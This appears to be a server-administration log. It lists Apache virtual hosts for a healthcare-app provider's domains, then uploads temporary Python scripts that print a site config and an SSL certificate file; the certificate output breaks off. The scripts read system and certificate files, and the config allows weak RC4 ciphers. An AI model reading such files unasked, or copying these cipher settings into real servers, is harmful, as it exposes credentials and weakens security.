         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-06 12:45:36: 

PUT: /tmp/pkp688696

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_preview_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-06 12:45:36: 

chmod 755 /tmp/pkp688696; /tmp/pkp688696; rm /tmp/pkp688696

2026-01-06 12:45:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_preview_net.conf	1436

<VirtualHost *:80>
    ServerName	preview.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    #    DocumentRoot	/var/www/patientapps_preview
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/preview_access.log combined
    ErrorLog	/var/log/apache2/patientapps/preview_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	preview.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/preview_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/preview_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-06 12:45:36: 

PUT: /tmp/pkp499544

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-06 12:45:36: 

chmod 755 /tmp/pkp499544; /tmp/pkp499544; rm /tmp/pkp499544

2026-01-06 12:45:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt	5381
70:a1:7b:d4:cf:4e:0f:47:af:c3:f2:6f:3f:15:73:d2

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBVn7HrnYNmiD7xM1evu4P/y8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA2MTE0NzAxWhcNMjYwNDA2MTE0NzAwWjAiMSAwHgYDVQQD
ExdwcmV2aWV3LnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBANWFZKYOpyV0mN9UsbxVpAnnyb28+KdguOhoJij1Qzg4PpGPjbDe
Z7jFxKC3+OpOlfgjo0acH7yyTT9wGaPu5cDQArDK/xlkvME24aEfRACIDK7vrMiM
oUdDaDfeLNGRUV8KRsGrtleoGgeOhlxL5JImbzXh5r6kU/hqOTMHk4E6CJYJPKCJ
hIwbxJ/+7u/Rb5AgGi3SEoyXCikWpp0b8Lnmz4fxRbjksSmnhUhJ/HtYd329R8cQ
ol8TnwUSwfNcZ33yduPjkYXcbfOGFgVN2c2CSpdMHla4BuaZmhCIwfJTpqGxHQrT
qGTqV8anxX8Re9ayQbjppdTL3PADSxzguA0CAwEAAaOCAi4wggIqMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUYiX6pPL0Al+Qd7vHy2vnHO+pAwcwHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdwcmV2aWV3LnBh
dGllbnRhcHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzYxLmNybDCCAQsGCisGAQQB1nkC
BAIEgfwEgfkA9wB9AKXJeJJdV0YXgocN2IlmC1xVZIt9AEDy7AdoUdGIaRn3AAAB
m5NXUTYACAAABQAuCEkTBAMARjBEAiA01wNIw/FqunvLtbk50FMfptP6cOVTaE64
